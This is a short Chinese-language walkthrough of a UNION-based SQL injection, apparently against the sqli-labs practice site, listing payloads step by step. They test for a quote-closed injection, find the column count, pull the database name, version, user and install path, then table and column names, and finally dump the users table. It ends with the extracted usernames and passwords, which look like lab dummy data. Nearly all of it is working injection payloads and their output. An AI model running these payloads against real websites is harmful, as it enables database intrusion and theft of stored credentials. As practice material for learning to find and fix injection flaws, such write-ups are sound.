一、判断注入类型：
?id=1
?id=1’
?id=1’and’1
?id=1’and’1’=‘2
?id=1’or’1
?id=1’or’1’='2
//字符型注入，且单引号没被过滤，且可以手动闭合
?id=1’and’1’#
?id=1’and’1’–
//注释符被过滤
二、猜解字段数和回显位
?id=1’union select 1’
?id=1’union select 1,2’
?id=1’union select 1,2,3’
?id=0’union select 1,2,3’
?id=0’union select 1,2,'3
三、爆库
?id=0’union select 1,(select group_concat(database(),version(),user(),@@basedir)),3’
或者：
?id=0’union select 1,database(),version()’
?id=0’union select 1,user(),@@basedir’
四、爆表
?id=0’union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3’
或者：
?id=0’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security
s
五、爆字段
?id=0’union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3’
或者：
?id=0’union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users
六、爆字段值
?id=0’union select 1,(select group_concat(concat_ws(char(32,58,32),id,username,password)) from users),3’
//爆出如下字段值
Dumb : Dumb,
Angelina : I-kill-you,
Dummy : p@ssword,
secure : crappy,
stupid : stupidity,
superman : genious,
batman : mob!le,
admin : admin,
admin1 : admin1,
admin2 : admin2,
admin3 : admin3,
dhakkan : dumbo,
admin4 : admin4
